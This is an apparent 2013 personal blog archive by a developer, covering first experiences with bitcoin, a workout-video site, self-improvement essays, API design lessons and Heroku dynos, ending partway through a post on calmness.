Why I Decided to Give it a Try

I’ve been hearing about bitcoin since it was first mentioned way back in 2009. At the time, I read some of the introductory articles explaining bitcoin (what it was, how it worked, etc.), but almost immediately dismissed it as a passing fad until sometime around 2010 when a lot of my programmer friends started using bitcoin as a hobby and urging me to try it out.

After a month or so of hearing about it from friends, I downloaded the official bitcoin client and gave it go, but had a really difficult time figuring out how to use bitcoin for anything practical, how to back up my wallet, and a bunch of other things. If I remember correctly – I mined bitcoin for a short time then abruptly stopped using bitcoin and lost interest – until last month.

What really inspired me to give bitcoin another try was all the recent tech interest in bitcoin. Over the past several months I’ve read countless articles on bitcoin, seen a wide variety of new companies sprouting up offering bitcoin services, and have heard more and more about bitcoin from strangers who are not only using bitcoin for hobby purposes, but as a real alternate currency.

So, I decided to give it another go.

My Experience Getting Started

Getting started with bitcoin last month was a lot easier than it was back in 2010 when I tried it initially.

The first thing I did was visit the official bitcoin website and download the official Bitcoin-Qt wallet program, which allows you to send and receive bitcoin from a variety of addresses.

After getting this set up, I created a new bitcoin address through the client UI, and started my first Google search for free bitcoin :) My reasoning at the time was that: I’m still not sure whether I’m going to actually be using bitcoin for anything, so why bother spending money on the stuff? Might as well see if there’s a way to get a few free bitcoin and play around with the system.

Unfortunately, this is where things went from good to messy. Most of the sites I found under the free bitcoin search phrase were filled with ads, scammy popups, and a variety of other eyesores that led me to question their legitimacy. After a couple of hours scouring the internet, I learned that this is actually extremely common, and most of the free bitcoin sites are essentially ad farms that pay you microscopic amounts of bitcoin in hopes that you’ll eventually miss a click and hit one of their ads.

So, after figuring out that these sites were, in fact, legitimate – I ended up getting my very first bitcoin payment (worth fractions of a cent), from: Daily Bitcoins, one of the more reputable free bitcoin sites – all I had to do was fill out a captcha check and wait a few hours!

Over the next few days I read more about bitcoin, found more of the legitimate free bitcoin sites, and filled out a ton of captcha checks to see deposits come in – it was actually pretty fun.

Attempting to Buy Bitcoin

After I had some free bitcoin in my wallet, I decided to purchase a couple of real bitcoin. Unfortunately, this process was not nearly as easy as I thought it would be.

I had assumed that since bitcoin had become so popular over the past couple of years, there would be plenty of easy ways to buy (and sell) bitcoin without a hassle – how wrong I was.

The first thing I tried was using Mt. Gox, one of the largest (and oldest) bitcoin exchanges. Unfortunately, after I created an account I was greeted with two big hurdles to overcome:

An enormous red message telling me I must verify my account before I can use the service,
An incredibly time consuming (and privacy destroying) process of entering my social security number, birthday, photos of my driver’s license, and a bunch of other documentation as well. If I hadn’t been referred to Mt. Gox as being the largest and most reliable bitcoin exchange, I would have certainly figured it was a scam to get personal information.

Once I filled out their lengthy verification process, I was then informed it could take anywhere up to 10 business days to have my account manually verified, and that I couldn’t use the service until the process was completed. Boo :(

So, instead of going that route, I created an account with a new bitcoin exchange I had recently heard about (backed by ycombinator): Coinbase.

Coinbase allowed me to buy bitcoin almost instantly after creating an account, by simply verifying my bank account. Once that processed was finished (it only took a few minutes), I put in an order for 3 bitcoin, and was greeted with a friendly message telling me my order had been placed, and the bitcoin would be in my account within 7 days (apparently Coinbase operates off some internal delay for reasons of which I’m not aware).

A week later, I had my three bitcoin :)

Playing With Bitcoin

After I got a few bitcoin, and played around with some of the sites and services available, I immediately wanted to build some applications that use bitcoin (in some way) to get a better feel for the currency. While I still haven’t really accomplished this goal (you’ll see what I mean below), I have gotten a lot more familiar with the usage of bitcoin, and its properties for developers.

The first project I built was a command line bitcoin interface, btc, which uses Coinbase’s official API and allows users to buy, sell, and transfer bitcoin in their terminal.

I use the command line all the time, so I figured this would be a good small project to take on to help me get more acquainted with bitcoin usage, and fill a software void at the same time.

The next tool I built was a very simple website: http://www.bestfreebitcoin.com/, which is essentially just a curated list of the best free bitcoin sites that allow you to earn bitcoin for doing work, or filling out captcha checks. Since I had such a hard time finding this stuff as a new bitcoin user myself, I thought other new users might find it helpful as well.

While I’ve still got some other bitcoin services I’d like to build in the near future, I’ve learned quite a bit through playing around with existing services, building some simple ones myself, and getting more involved in the bitcoin community over the past few weeks.

My Overall Impression of Bitcoin

After using bitcoin (buying, selling, and purchasing services with it) for a little over a month, I’ve come to like bitcoin.

While it certainly isn’t ready for mass market consumer usage due to lack of services and supporting tools, it’s definitely reached a point where the currency is usable (clearly has value, has lots of press attention, is gaining adoption, etc.), and it looks like it will be around for a long time.

While I can’t predict the future, if I had to guess, I’d guess that in the next couple of years there will be an enormous amount of growth around the bitcoin ecosystem: new companies, simpler services, and more mainstream usage.

I can certainly envision a future in which a majority of people (at least in the US) are familiar with bitcoin, and have at least a small amount of bitcoin currency which they use for making online purchases, as using bitcoin to make online purchases reduces a lot of the complexity associated with making online payments now (PCI compliance, etc.).

motivation.io

r@rdegges.com (Randall Degges) — Tue, 16 Apr 2013 00:00:00 -0700

A couple of weeks ago, my friend Alven and I built a small webapp together that I wanted to share with you today: motivation.io.

The idea behind motivation.io is simple: when I go workout at the gym and lift weights, it requires a lot of effort and energy. What I like to do before I go to the gym is open YouTube, search for bodybuilding motivation, and then watch a video or two to get myself pumped up for the gym.

While this has been working great for the past two years or so, it gets tedious after a while. It’s hard to find fresh videos that are of decent quality, and it adds an extra minute or two onto my daily pre-workout ritual.

motivation.io solves this problem for me. When you visit the site, it randomly plays a high quality (hand selected) weight lifting video to get you pumped up. Want to watch a few? No problem, after the current video ends it’ll load up another video random, for as long as you want. As long as the device you’re on can play YouTube videos, you should have no problem getting it to work on your laptop, mobile phone, etc.

Anyhow, if you’re into lifting weights, give motivation.io a try and let me know what you think!

High Standards

r@rdegges.com (Randall Degges) — Mon, 01 Apr 2013 00:00:00 -0700

While I’m not one to advocate many personal development hacks, there is one hack that I think everyone dedicated to personal growth and success should know about: have high standards for yourself.

Unlike many of the other hacks you may read about, having high personal standards will almost immediately force personal growth, and will help you live up to your potential day after day – it’s also really simple to execute.

Be Ruthless With Yourself

If you’re anything like me, although you enjoy improving yourself (mentally, physically, whatever), you probably view yourself as a work in progress, and as such, don’t think very highly of yourself.

While being humble is certainly a great trait, it’s often misused. Simply being humble and viewing yourself in a negative light won’t help you achieve personal growth – if anything, it will slow your development.

By constantly thinking down on yourself, you’re conditioning yourself to accept lower standards and mediocrity – the exact opposite of what you want to accomplish. If you’d like to become a better person, you need to constantly push yourself to achieve more, behave better, and learn to consistently outperform past versions of yourself.

One fool-proof way to aggressively pursue personal growth is to hold yourself to a high set of personal standards – then ruthlessly strive to live up to your own expectations.

As you continue to strive towards your high personal standards, you’ll make quick gains that would have come slowly otherwise. I’ve found that when I’m under pressure (from myself) to act or live up to a certain standard, it’s much easier for me to accomplish my goals.

Developing Standards

If you’ve never formally listed what your personal goals are, you should take a few minutes to do so now. Create a Google doc named Growth, and make a list of the following:

Traits you’d ideally like to have.
Ways you’d like to behave.
People who you respect.

For instance, if you’d like to always live up to your word, you may want to write something along the lines of:

Honor my commitments, regardless of external factors.
Carefully think things through before agreeing to do things.

Or, if you’d like to improve in a more physical way, set specific (and difficult to reach) goals:

Have 20-inch biceps, 40-inch quads, and 60-inch chest measurements.
Run a mile in 5 minutes flat.
Squat 1,000 lbs.

By clearly stating your goals and ideal behaviors, you set a clear precedent for yourself to follow and live up to. From this point on, refer to your list frequently to remind yourself what you’re aiming to accomplish, and why it matters to you.

NOTE: Keeping a list of people who inspire you, and who you respect, is important because it motivates you to be more like those people you look up to so much.

Respect Yourself

Once you’ve clearly defined the person you want to become, working towards your ideal self becomes that much easier. Respect yourself for striving to reach difficult goals, and think highly of yourself as you work to better yourself.

Having respect for yourself makes it easier for you to make difficult decisions. We’re all defined by our actions, and those of us who have precise, measurable goals and a sufficient quantity of self respect can more easily make the tough decisions that either push us forward or pull us back.

What will you do when you’re sitting at a restaurant with your friends and you’re offered that sweet (by unhealthy) dessert? Will you eat it? Is that what you’d ideally do? What would future you do in this situation? Which decision will push you further towards your ideal self?

Set high standards, ruthlessly pursue your goals, and respect yourself.

Achieve great things, my friends.

It's All Perspective

r@rdegges.com (Randall Degges) — Sun, 31 Mar 2013 00:00:00 -0700

A few days ago I wrote an article about being positive that ended up getting quite popular and generating a lot of reader email. Since then, I’ve had the pleasure of chatting with numerous interesting people about positivity, personal development, and the tremendous effect they can have on a person.

One thing I heard from many people, however, was that they’ve been working on maintaining a positive attitude, but they find it hard not get angry and frustrated frequently. I figured that since so many people were having the same problem, I’d use this article as an opportunity to share a story which really changed my outlook on being positive.

Before I begin, I’d like to quickly note that I’m not in any way religious, but the story below contains quite a few truths.

The Buddha’s Story

One of my favorite historical figures is Siddhattha Buddha. If you’ve never read about his life, it’s one of the more interesting historical tails, and quite different from the mystical stories you find at the root of most religions.

While you can read many of his stories online, I’ve copied one of my favorites below:

Buddha was walking into the city market one day, and near the city entrance an old bitter man was sitting on a box glaring at Buddha, who carried a bright smile on his face. At the sight of him the old man started cursing Buddha, telling him how pretentious he was, how much better he thought he was and how he was not worth of the air he breathed. But Buddha simply smiled and kept walking to the market to get what he needed.

The next day Buddha returned to the market and once again the old man was there, and this time his cursing intensified, screaming and yelling at Buddha as he walked by, cursing his mother, father and everyone else in his life.

This went on for the rest of the week, and finally as the Buddha was leaving the market the man came up to him, as his curiosity had gotten the best of him. “Buddha, every day you come here smiling and every day I curse your name, I curse your family, and I curse everything you believe in”, the old man said. “But every day you enter this city with a smile knowing that I await you with my harsh tongue, and everyday you leave through the same entrance with the same smile. I know by speaking to you now that you are not deaf, so why do you keep on smiling while I do nothing but scream the worst things I can think of to your face?”

Buddha, with the same smile still on his face, looked at the old man and asked, “If I were to bring you a gift tomorrow morning wrapped in a beautiful box, would you accept it?”, to which the old man replied, “Absolutely not, I would take nothing from the likes of you!”. “Ah ha”, the Buddha replied, “Well if I were to offer you this gift and you were to refuse, then who would this gift belong to?”. “It would still belong to you, of course”, answered the old man. “And so the same goes with your anger, when I choose not to accept your gift of anger, does it not then remain your own?”

I think there is an important lesson to be learned from this story: your emotions can be controlled, and you have the ability to choose your feelings.

Perspective

Maintaining a positive attitude can be challenging, especially when most people are typically surrounded by negativity at all times:

Horrible stories about the government and police.
News reports which overwhelmingly focus on the negative, and very rarely focus on the positive.
Mean spirited comments from friends and co-workers.
Sarcastic or bitter articles, stories, and opinions scattered about the internet.

There is truly an unlimited supply of negativity in the world, which makes it all the easier to go with the flow, and get stuck in an always frustrated or angry mentality.

Did someone say something behind your back at work which made you angry? Did a driver swerve into your lane forcing you to slam your brakes to avoid a collision?

While you can never escape negative situations, there is always a way to escape needlessly negative behavior and mindsets. Your can control your emotion by changing your perspective.

In the story above, although the Buddha was being screamed at viciously, he never allowed himself to accept the anger of the old man. The Buddha knew that while he could certainly allow himself to get frustrated over this situation he couldn’t control – what good would that do? Would getting angry at the old man help the Buddha in any way? Would it make him feel better?

Instead of instinctively reacting to a negative situation with negativity, the Buddha consciously made a decision to not accept the old man’s anger. Instead, he changed his perspective on the situation, thereby changing the outcome.

By changing your perspective of yourself, you can actively change your feelings. Instead of viewing yourself as a victim of your environment, view yourself as the master of your environment. This means that while most people tend to get instinctively pulled into feeling one way or another, a mindful person will analyze their thoughts and actions, and make whichever decision is best for themselves at the time.

One of the best ways to change your attitude over the long term is to consciously react to situations after thinking things through.

Change your perspective of yourself, and you can change your very nature.

NOTE: If you’re at all interested in reading more about the fascinating life of the Buddha, I’d highly recommend reading The Life of the Buddha.

Sacrifice

r@rdegges.com (Randall Degges) — Thu, 28 Mar 2013 00:00:00 -0700

One of the problems I (and apparently a lot of other people) have is that there are a million things I’d like to work on at any given time, and not nearly enough time in the day to work on them all.

I’ve tried numerous ways to handle this in the past, but today I’d like to talk about one method that works particularly well for me. It’s hard to do, but brings instant relief and opens up plenty of time to get things done.

Make a Sacrifice

While this is obvious in retrospect, a great way to free up your time to work on something new is to give something up.

Instead of optimizing every second of your day (which is do-able, but very difficult to maintain), I believe the better option is to make a sacrifice.

Thinking of a new project you’d like to hack on? Maybe it’s a website you’re sure will get a million users. Maybe it’s a basketball team you’d like to join. Maybe it’s that book you want to write. Whatever it is, think about it.

Is this new project something you really want to do? Is it more important to you than the things you’re working on currently? Would you be willing to give something up in order to work on this new project?

If the answer to any of the above questions is no, maybe you should reconsider. If you’re not willing to sacrifice an in-progress project, that’s a clear giveaway that your new idea may not be worth pursuing.

Still not sure? Throw you new idea onto a list and wait it out.

If you’re willing to give something up to work on your new idea, then do it! Don’t delay! Don’t half-ass two things, whole-ass one thing (credit for this saying goes to Ron Swanson).

Practical Advice

In my own experience, I find it really, really hard to let go of projects I’ve already started working on. Most of them were my ideas, and as such, it’s hard to kill them off. I have some innate attachment to my projects (particularly websites) that makes me want to keep holding onto them no matter what (even after losing interest).

While I’ve yet to perfect the act of successfully managing my own projects, I’ve made some great progress over the past year in this arena. Here’s how I do things.

Keep a Project List

Whenever I have a new idea for a project I think might be fun to work on (whether it’s a website, open source project, business, article, etc.) I immediately throw it into a Google doc I maintain, titled Ideas.

In this document I keep my projects sorted by category:

Work projects.
Open source projects.
Business projects.
Writing.

This way, no matter what I decide, I’ve at least got a centralized collection of my ideas that I can refer to in the future.

Keep a TODO List

In addition to my project list, I also keep a Google doc titled TODO open at all times. This is where I store a list of the things I’m currently committed to doing:

Work projects.
Personal projects.
Meetings.
etc.

Each day when I sit down at the computer, this is the first thing I open up. This lets me easily pick something of high priority to work on, and immediately make some progress towards my goals (whatever they are).

Every time I finish one of the things on my TODO list, I immediately remove it from my list completely. Other than the great feeling that goes along with removing items from my TODO list, I can easily look at the size of my TODO list and instantly know whether or not I’m currently overcommitted.

If my list has more than about 20 items, I know I need to start saying no more frequently, and if my list is getting too short (this has never happened), I’d know that I should probably get to work ;)

Making Sacrifices

When I decide to pursue a new idea, I carefully analyze my TODO list and try to determine what is least important to me at the time. It’s incredibly difficult to review a list of things you care about knowing you’re going to be killing one of them off, but incredibly rewarding.

Once I’ve found the project I know needs to die, I’ll take a few minutes to completely kill it off. This might mean:

Emailing the people involved and letting them know I’m done with the project, and that even though I’d love to keep working on it I simply don’t have the time.
Calling or talking to my collaborators (if necessary).
Shutting down any dependent services (am I paying for servers to power this?).

And lastly, I’ll remove the item from my TODO list, effectively sealing the project’s fate.

This step is important because it’s all too easy to trick yourself into partially working on multiple projects instead of making a clean cut – but I promise that if you do things this way, you’ll regret it in the long run.

Committing yourself to too many projects concurrently is a recipe for disaster. It leads to stress, frustration, and poor performance. It’s a much better idea to firmly decide on your sacrifices, and quickly kill them off immediately after you make your decision.

It’s Difficult

Making sacrifices, especially when it comes to deciding what you’re going to focus on with your time and energy, is a difficult thing to do.

Each time I do it, while I know it’s for the best, I can’t help but feel sad.

One of the things I’ve tried to do as I make sacrifices is to do my best to maintain a positive attitude. Instead of focusing on the killing aspect, I’ll try to focus on how this is a good move for me right now, and how life’s too short to focus on everything and accomplish nothing.

In the end, you’ve got to make the best decision for yourself – so don’t feel too guilty about it.

The next time you’re looking to get started on that new idea, don’t forget to make a sacrifice.

The Positive Programmer

r@rdegges.com (Randall Degges) — Tue, 26 Mar 2013 00:00:00 -0700

Is it just me, or is the technical community developing a more and more negative outlook in recent years? I hate to complain, but it seems like every week the development community is up in arms about some huge outrage, whether it be regarding code of conduct policies, sexism, startup criticism, craftsmanship, or any other topic.

If you’re a programmer and stay up-to-date with community happenings via Hacker News, you’ll almost certainly notice a trend: there are lots of popular articles focusing on the negatives (mean rants, public shaming, outrage about various issues, etc.). And if you happen to participate in article discussion, you’ll get an even greater taste of the negative attitudes becoming more and more pervasive in the community: articles flooded with a mix of slanderous (and more frequently, downright mean) comments that really bring everyone down =/

Personally, I like to focus on the positive. ^^

The Problem with Negativity

My problem with negativity comes primarily from personal experience. I wasn’t always as happy as I am now, and I certainly didn’t have a positive attitude most of my life.

Several years ago I had just left university (I dropped out after my second year of computer science), and decided to start working in the field. While I’ve always loved programming, throughout my university experience I was one of the most negative people I’ve known. I was extremely judgemental, short of temper, and generally quick to dismiss other people and their ideas.

When I left school and started working in the field I realized exactly how miserable I really was: instead of being able to enjoy every day, enjoy my relationships, and enjoy my work – I was instead overly focused on the negatives: how unfair things were, how I deserved more, how other people were causing problems for me, and how I was vastly superior to everyone else.

I distinctly remember coming home from work and sitting in the bathtub one day, thinking about myself, and where I wanted to be in five years. The first (and only) thing that immediately came to mind was that I wanted to be a better person: I wanted to be smarter, more successful, and happy.

It wasn’t until that moment I realized that I was truly unhappy with my current self, and really needed to make some serious personal changes if I could ever enjoy my life. Being discontent with yourself is a horrible feeling. You feel angry, frustrated, and cheated. Am I doing something wrong? Why do I feel this way? Without realizing it, I had been turning my internal frustration and anger outwards, with horrible consequences.

It was at that moment I decided to actually focus on real personal development. Instead of allowing myself to play the victim and slowly let my frustration and anger eat away at me, I decided to take my future into my own hands and make whatever changes necessary to make myself a better person.

The Positive Programmer

In the beginning I had a really difficult time training myself to let go of my bad habits and negativity. Your personal outlook and mental response to every day situations is something that comes naturally. It takes a lot of energy, education, and practice to let go of bad behaviors and teach yourself new (healthier) behaviors.

After doing some basic Google research: How can I be happy?, How can I become a better person?, etc. – I realized that I needed to start out by re-educating myself. It’s very difficult to find answers to questions you don’t yet know.

The first thing I did was randomly pick a few highly reviewed personal development books on Amazon and read them. Instantly, I began to realize that improving yourself as a person is all about being positive.

Instead of focusing on the negative in life, focus on the positives. One of the most important truths I’ve learned came from my study of minimalism.

What is happiness really? Happiness is being content with yourself and your surroundings. What’s the best way to be content with yourself and your surroundings? To accept reality as it is.

All feelings of frustration, anger, and negativity are generated internally. If you’re driving down the freeway and another driver cuts you off, forcing you to slam on your brakes to avoid a collision – most people would get angry at the other driver. It’s a natural reaction, after all. The person ahead of you did something they shouldn’t do, which caused you an inconvenience. In your mind, they’ve done something that doesn’t align well with your version of reality, so your brain makes you feel angry and frustrated.

The simplest way to avoid getting angry and frustrated (not only with yourself, but with others as well) is to practice compassion. Instead of viewing the world through your own point of view, play the role of a calm observer. Accept the behavior of others as it is, and don’t allow yourself to project your desired behavior onto others. Instead of allowing yourself to get angry over situations you can’t control, learn to calmly accept them and carry on.

The ability to rationally analyze situations and make mindful decisions will not only help you maintain a positive outlook on life, but will help you feel happier, and allow you to focus on more important topics on a day to day basis.

Instead of wasting energy getting upset and angry with others, you can instead focus on doing the things that are important to you:

Enjoying your relationships.
Fully enjoying your work.
Taking control of your life and growing as a person.

Since I decided to invest time in making myself a better person, I’ve completely changed my day-to-day attitude, behavior, and outlook. Instead of feeling unhappy and discontent with myself, I’ve been able to build a great life that allows me to really enjoy each day.

Some Closing Thoughts

Living with a negative attitude is a horrible burden, something I wouldn’t wish on anyone. It really pains me to see so many of my peers stuck in a continuous cycle of negative thinking. Focusing on the negatives is the simplest way to:

Make yourself unhappy.
Sacrifice your personal development and growth.
Miss out on great opportunities and obvious ways to become a better person.
Alienate yourself from other great people doing great things.

My advice to you if you’re stuck in a rut like I was: make a commitment to yourself to focus on personal development – it’s never too late to get started.

Is it easy to recondition yourself? No way. It will be a slow process: nothing will happen overnight.

Take small steps. Here are some great ways to get started:

Pick up a good personal development book. Some good starting topics to research are minimialism, mindfulness meditation, happiness, procrastination, and talent. If those don’t sound immediately appealing, try reading a biography on someone you greatly respect.
Be mindful of your thoughts throughout the day. The next time you find yourself thinking What the hell is that person doing? take a second to think about why you feel that way. Are you angry? Are you overreacting? Don’t be angry with yourself, just acknowledge your thoughts and make a mental note of why you felt that way.
Remove negativity from your immediate surroundings. Easy ways to get started are to unfollow people on twitter who continuously tweet negative things, stop reading news, and don’t participate in negative conversations with friends and family.
Keep your goal in mind at all times. Throughout the day you should tell yourself (especially when you’re feeling negative) that your goal is to become a better person, and the only way to do that is to consciously work at it! If you need motivation, don’t feel bad about getting help: watching motivational videos, listening to your favorite songs, etc.

Reconditioning yourself to be a more positive person is no easy task, but I can tell you from experience that it’s worth every bit of effort you put into it. Changing your behavior is possible with enough focus, motivation, and rational thinking.

If you’re stuck in a rut and want someone to chat with, feel free to shoot me an email, I’d love to help!

API Company Mistakes - Part 1 - Serialization Formats

r@rdegges.com (Randall Degges) — Mon, 25 Mar 2013 00:00:00 -0700

Over the past few years I’ve been spending more and more time building and working with web APIs. To me, APIs are absolutely fascinating, and they’ve quickly become my favorite branch of technology to work on.

Last year, I even built a quite successful API company (OpenCNAM), which allows developers to easily get Caller ID data. I’ve also built a good number of other APIs over the past several years:

An API that allows users to create, edit, and modify teleconferencing chat rooms.
An API that allows users to instantly create an ephemeral PostgreSQL database (postgression).
An API for compressing HTML pages.
An API for storing, approving, and displaying programming quotes.
And quite a few others.

Through my experiences, I’ve had some successes and some failures. Each time I bring these points up with friends, they always tell me to write about it, so I thought it’d be interesting to chronicle my mistakes here in hopes that you’ll learn from my mistakes.

The Story

This first lesson comes from my experiences building OpenCNAM last year.

When I started working on OpenCNAM, my goal was to make the simplest, easiest to use Caller ID API in the world. If you’re at all involved in the telephony world, you probably know how complex something so simple can be. While retrieving Caller ID data sounds straightforward, due to legal issues and big companies, there were practically no options available to developers before OpenCNAM.

Anyhow, after I built out the initial minimum viable product (MVP) and launched it to the world, I started getting lots of user email asking for various bits of functionality.

You see, initially I had tried to keep things simple and had OpenCNAM return only JSON responses. Soon after launch, I got several email from developers asking for other serialization formats: XML, JSONp, and YAML.

Not wanting to let potential users down, I immediately got to work and quickly added support for the serialization formats listed above, as well as several others (an HTML format to make users testing queries in their web browser happy, and a plain text format to make integration with certain phone systems simpler).

Unfortunately, these additional serialization formats ended up causing numerous problems, one of which was that various third party libraries I used to support these formats had issues:

The XML library was clunky. Instead of requiring me to add a line of code to output my object as an XML object, I had to spend a full day figuring out that I needed 30 additional lines of code to properly build the XML tree response manually. Ugh.
The YAML library had conflicting dependencies with my web application, which took a long time to debug and eventually caused me to revert back to an older version (with less documentation).

In addition to my annoyance of working with the above third party libraries, I also realized that many users were mistakenly using the HTML serialization format on accident in production (after having tested it out in their web browser), which ended up generating a lot of support emails from users confused that their applications were displaying HTML error messages when Caller ID data couldn’t be found.

After answering many support email and rewriting my developer documentation to sufficiently explain the new serialization formatting options, I also noticed another discouraging problem with my newly supported formats: almost nobody was using them!

Despite initial email I received asking for XML, JSONp, and YAML formatting options, I noticed that they were getting very little usage.

Which brought my to my realization: I’ve made a big mistake! I wasted several days (and lots of time) adding support for numerous serialization formats that:

Confused my users.
Made my documentation much more complex for the average user.
Were very rarely used!

My first thought was to just remove the new serialization formats, clean up my code base, and simplify things. After thinking this through, however, I realized that one of the largest mistakes an API company can make is to remove previously advertised functionality (why would developers trust you to provide data to them if you’re so quick to remove functionality?).

My final decision was to endure the annoyance I had created for myself, and maintain the serialization formats I’d created, despite their added complexities.

The Lesson

What you can take away from my mistake is simple: if you’re building an API company, try to keep things as simple as possible. In my case, I should have simply picked a serialization format and stuck with it (e.g. JSON), especially since JSON is becoming more and more ubiquitous in the web API world, and other formats are slowly dying out.

While serialization formats are sure to come and go, it’s a far better idea to pick one and go with it for a while than it is to attempt to keep everyone happy and support everything under the sun.

Having a more restricted feature set will make your product code simpler, your product documentation simpler, your client libraries much simpler, and will most definitely save you a headache or two.

A State of Exhaustion

r@rdegges.com (Randall Degges) — Sun, 24 Mar 2013 00:00:00 -0700

Over the course of the past month, I’ve been completely exhausted. Last month I packed up all my stuff and moved into my friend Alven’s spare bedroom with my wife and dog while we looked for a new place to live in bay area, CA (thanks, Alven!).

A few days after arriving, both my wife and I came down with a really bad cold (that is still lingering, almost a month later). For almost three weeks we both spent all our time in bed, consuming a ridiculous amount of tissues, and heavily abusing both cough syrup and ibuprofen just to make it through the day.

On top of the crazy move and illness, I also had a ton of social commitments and work stuff going on. Last month I attended two amazing conferences (Heroku’s Waza conference and pycon US), while also launching several new (large) work projects that each required a lot of effort.

To keep the story short: I was completely physically exhausted.

Working While Exhausted

While sick, I spent quite a lot of time in bed on my laptop. Although I didn’t have any energy, I was actually quite surprised to find myself routinely churning out code, finishing tasks, and generally making lots of solid work progress.

After the first week of lying in bed writing code and finishing tasks, I reviewed my progress (expecting to see an enormous productivity gap), but was pleasantly surprised to see that despite being sick and having no energy, I had actually finished a tremendous amount of work ahead of schedule!

How could this be?!

What I Discovered

The following week I decided to carefully monitor my work progress and pay closer attention to my thought processes throughout the day while working.

What I noticed was that although I felt like crap physically, and had little to no energy to spare throughout the day, I actually had a lot less mental resistance to working, which ended up positively affecting my productivity.

During a typical workday I’ll open up my laptop, review my list of tasks for the day, and go through them one by one getting as much finished as possible. The catch here is that while working, I often find myself distracted by a million little things: email, social networks, news, instant messaging, phone calls, etc. In any given day, these tasks probably take anywhere from one to four hours of my time, and take a heavy toll on my focus – it’s a lot harder to get stuff done when you’re constantly getting distracted.

Although I’ve solved this problem in the past (using the pomodoro technique), I’ve unfortunately let the good habits slip aside over the past year and fallen back into the trap of succumbing to little distractions and silently suffering with split focus.

While I was sick, however, this problem went away completely. Maybe it was due to the fact that I was just too tired to do anything other than absolutely necessary – but each time I opened my laptop I just started grinding through my TODO list with no hesitation whatsoever.

Sure, I wasn’t working on anything particularly creative during this period (I doubt I would have made any progress if that were the case), but I was successfully finishing important tasks that I had previously laid out, and ended up making a positive impact on the company even while feeling completely exhausted.

Reflecting on Exhaustion

After I analyzed my working patterns and noticed that I was able to really grind through a lot of straightforward tasks while completely exhausted, I tried my best to recollect any other high productivity times to see if there was any correlation between my personal productivity and my level of tiredness.

The first thing that came to mind were the clear productivity benefits I got after I started lifting weights regularly. When I first started lifting weights at the gym during the day, I noticed that I was able to get an enormous amount of work finished after getting back home. This actually affected me so much that I changed my work schedule around so that I’d go to the gym first thing in the morning (after breakfast), then work immediately afterwards, in order to reap the productivity benefits.

Although I didn’t classify it that way initially (I simply thought working out was a productivity booster itself), after my recent reflections, I can’t help but think there’s a clear pattern here: working while exhausted allows me to easily grind through tasks without distraction.

Though I truly love my work, I find that when I’m full of energy I’m so much more prone to distraction: hopping from one thing to the next without steady focus.

Over the next several months I’m going to shift my work around to use this to my advantage. I’m going to reserve the first part of my day (pre-workout) for more creative tasks, and reserve the second half of my day (post-workout) for getting shit done and generally crossing things off of my TODO list.

I’ll let you know how it goes.

Heroku Dynos (in Depth)

r@rdegges.com (Randall Degges) — Sun, 10 Feb 2013 00:00:00 -0800

NOTE: This article is all about Heroku. If you’ve never heard of them, you may want to skip this one >:)

So, I’d like to talk about dynos with you (not dinosaurs, although, I do love talking about dinosaurs). Ok, maybe I’ll talk about dinosaurs a little bit, but mainly about Heroku dynos: containers that run user-defined processes on Heroku’s cloud platform.

Dynos are really the ‘core’ of Heroku’s platform. Dynos are what run your web processes, your one-off tasks, etc. If you’re building a Rails website, for instance, a dyno would run your web process as well as any background tasks you’ve defined with rake: cleaning up user sessions, doing stuff every hour, whatever. Dynos also run worker processes (stuff like resque, etc.). I’m sure you get the idea.

So if dynos are just process containers (essentially), why are they cool? Well, other than the fact that their name reminds me of little dinosaurs (see picture below), there are a lot of reasons.

Dynos (like the rest of Heroku’s platform) run on top of Amazon Web Services, one of the largest cloud providers in the world.
Dynos come with unlimited bandwidth (this can end up costing you a fortune with other providers).
Dynos run in their own isolated execution environment. This means no shared files, users, etc. Every time a dyno is created it is identical to the rest.
Dynos have 512MB of RAM reserved for them, enough to do almost anything you need to do. (Looking to render videos and stuff? Best to do that separately.)
Dynos can be instantly provisioned or removed, allowing you to easily ‘scale up’ your application’s infrastructure.
Dynos are billed by the second, meaning you can easily handle ‘burst’ traffic and not pay a fortune to do so.
You get 750 hours of dyno time free each month, per Heroku application (a 30 day month is about 720 hours, for reference). PER APPLICATION! This means that if you’ve got 10 apps running on Heroku, you get 7,500 dyno hours free, each month!
If a dyno crashes for some reason (maybe the underlying Amazon server broke), it will be automatically moved to another server transparently, ensuring your application stays running (no maintenance needed!).
Web dynos (any dynos powering your website: Rails, Django, Node, whatever) have load balancing taken care of out of the box (Heroku’s routing mesh automatically load balances incoming HTTP requests to however many web dynos you have active).

Not bad, right? In terms of cost alone, Heroku can cut your hosting bill significantly in the form of free bandwidth and free dyno hours.

The real kicker, however, (at least in my opinion) is the automatic load balancing Heroku provides. Heroku’s routing mesh is incredibly awesome:

It randomly distributes incoming HTTP requests to your application across all available dynos. This means that if you have a single active dyno all requests will hit it. If you have 10 dynos, each of those 10 will get hit by incoming requests. This means you can easily scale your application without worrying about the routing logic.
It provides you with both HTTP and HTTPS load balancing. Each Heroku application automatically supports both HTTP and HTTPS out of the box, meaning you can use SSL easily with the domain name your application is assigned: appname.herokuapp.com.
The routing mesh gives your application 30 seconds to respond to incoming requests. If it takes longer the request is killed with a 503. This is GOOD because it forces you to write decent code that takes user experience into account. NOTE: If a request takes longer than 30 seconds to complete, while the Heroku routing mesh will return a 503, your application server will still continue to process the request–this way, valuable user information isn’t lost.

And, in case you missed it above, since dynos are automatically maintained by Heroku’s Dyno Manifold, you never have to worry about bad things happening. Even if your application crashes, an Amazon server crashes, an IT guy trips over a wire and shuts down 100 of your dynos–you don’t need to worry because Heroku will automatically spin up all your dynos (instantly) on other Amazon cloud servers.

The Heroku Dyno Manifold’s restorative powers, paired with the Heroku Routing Mesh means you get the best of everything: no maintenance web hosting, automatic load balancing, and happy users.

As a side note–if you’re at all interested in this stuff, you may enjoy my book: The Heroku Hacker’s Guide. I’m currently working on the second edition, which I promise you’ll love >:)

Productivity and Calmness

r@rdegges.com (Randall Degges) — Sat, 09 Feb 2013 00:00:00 -0800

While there are certainly many productivity hacks available to you, I can think of none greater than calming yourself.

I can’t tell you how frequently I find myself completely overwhelmed with things to do, schedules to meet, and customers to keep happy. Each time I find myself in this situation I always try to take a step back and reflect on the circumstances. More often than not, when I consciously analyze my situation, I realize that I’m overreacting to pressures.

I’m worrying too much, pushing too hard, and not spending enough time reflecting on what it is I’m doing as a whole.

The solution to all this, of course, is to take a step back, take a deep breath, and relax. And I don’t mean relax as in “Just relax, man!”. I mean relax as in literally relax.

